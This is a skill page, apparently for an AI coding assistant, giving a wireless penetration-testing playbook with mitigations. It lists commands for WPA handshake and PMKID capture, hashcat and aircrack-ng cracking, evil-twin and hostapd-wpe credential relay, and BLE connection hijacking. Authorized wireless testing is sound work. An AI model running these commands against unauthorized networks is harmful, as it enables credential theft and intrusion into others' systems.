Menu
Wireless network pentest — WPA/WPA2/WPA3, evil twin, 802.1X enterprise, Bluetooth advisory. Triggers on wireless pentest, WiFi, WPA2, WPA3, PMKID, evil twin, deauth, Aircrack, hcxdumptool, 802.1X, Bluetooth, BLE security.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Based on SOC occupation classification
Market and demand research procedures. Niche discovery, demand sizing, competitor/gap analysis, opportunity scoring, and pricing/positioning signals BEFORE building. Triggers on: market research, demand, niche, opportunity sizing, competitor analysis, TAM, positioning, pricing, go-to-market, validate idea, is there demand.
Choosing between app.json vs app.config.ts vs app.config.js, environment variables, variants, extra fields, plugin chain, and slug/scheme/bundle/version discipline. Triggers on app.json, app.config.ts, app.config.js, expo config, environment variable, .env, eas secret, variant, extra field, slug, scheme, bundle identifier, package name, version, build number, version code.
Writing Expo config plugins, withInfoPlist, withAndroidManifest, withDangerousMod, mod compose, plugin testing, and registration in app.config.ts. Triggers on config plugin, with-plugin, withInfoPlist, withAndroidManifest, withDangerousMod, withEntitlementsPlist, withGradleProperties, mod, native config, expo plugin, plugin test, app.config plugin.
Custom development builds with expo-dev-client, build profiles, a custom dev menu, runtime-version compatibility, and EAS Update integration. Triggers on expo-dev-client, dev client, custom dev build, development build, dev menu, expo go, runtime version, debug build, dev launcher, scan qr, dev server.
iOS and Android build profiles with EAS Build, credentials management, build cache, secrets, and monorepo support. Triggers on eas build, eas.json, build profile, credentials, provisioning profile, keystore, push certificate, service account, build cache, eas secret, monorepo, development build, preview build, production build.
App Store Connect and Google Play Console upload flow with EAS Submit, metadata, build-artifact selection, review notes, and phased release. Triggers on eas submit, app store connect, google play, asc api key, service account, metadata, screenshot, phased release, review notes, testflight, internal testing, production submit, release management.
| name | pentest-wireless |
| description | Wireless network pentest — WPA/WPA2/WPA3, evil twin, 802.1X enterprise, Bluetooth advisory. Triggers on wireless pentest, WiFi, WPA2, WPA3, PMKID, evil twin, deauth, Aircrack, hcxdumptool, 802.1X, Bluetooth, BLE security. |
| license | MIT |
| compatibility | Works with Claude Code |
| allowed-tools | Read Write Edit Bash Grep |
| metadata | {"author":"badi","homepage":"https://github.com/fatihkan/badi-skills/tree/main/skills/pentest-wireless","badi-version":">=1.24.0","category":"pentest","scope":"advisory","inspired-by":"0xSteph/pentest-ai-agents wireless-pentester"} |
WiFi + Bluetooth pentest advisory. Active wifi attacks require physical presence within the engagement + spectrum authorization.
1. Recon: passive listen with airodump-ng / kismet
2. Target detection: SSID, BSSID, channel, encryption, client count
3. Capture handshake: deauth + capture (WPA2) / PMKID (no client needed)
4. Crack: hashcat / aircrack-ng
5. Post-conn: ARP spoofing + MITM (if available)
6. Enterprise: EAP-PEAP relay (hostapd-wpe)
# QUIET — passive monitor
airodump-ng wlan0mon # list all APs
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# QUIET — channel hop monitor
kismet -c wlan0
| Method | Description | OPSEC |
|---|---|---|
| 4-way + deauth | Requires an active client + deauth attack | LOUD |
| PMKID | No client needed (modern AP vulnerability) | QUIET |
| WPS PIN | Brute force on a WPS-enabled AP (Reaver, Bully) | LOUD |
| Evil twin | Own AP, phish the user | LOUD (legal risk) |
# PMKID capture (quietest, no client needed)
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
# Hashcat crack
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule
# 4-way handshake (classic)
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
# EAP relay (hostapd-wpe) — capture user credentials
hostapd-wpe ./hostapd-wpe.conf
# Cred captured -> NTLM hash crack (offline)
hashcat -m 5500 hash.txt wordlist.txt
Mitigation: device certificate validation (Server Certificate Validation + CA pin) — should be mandatory during user onboarding.
# WiFi-Pumpkin / Pi-Hole AP framework
# Pumpkin -i wlan0 --ssid "Corp-Guest"
# QUIET — passive scan
hcitool lescan
sudo bluetoothctl
# > scan on
# BLE GATT enumeration
gatttool -b AA:BB:CC:DD:EE:FF -I
# > connect
# > primary
# > characteristics
# BLE replay/MITM (gatttool + spoof)
# btlejack: BLE sniffer + relay
btlejack -s # sniff advertisements
btlejack -c any -j # hijack connection (CTF/lab)
## Wireless Pentest — <location>
### AP Inventory
- "CorpWiFi" (WPA2-PSK) — handshake captured, crack 3h (weak password)
- "CorpEnterprise" (WPA2-EAP) — captured 12 user creds via PEAP relay
- "CorpGuest" (Open) — captive portal bypass attempt (out-of-scope)
### Findings
- WPA2-PSK password "Spring2024" (3h crack)
- Missing cert validation on client devices -> 802.1X PEAP relay success
### Recommendation
- PSK -> Enterprise EAP-TLS (certificate)
- Cert pinning required on the client side
- WPA3-only mode (turn off transition mode)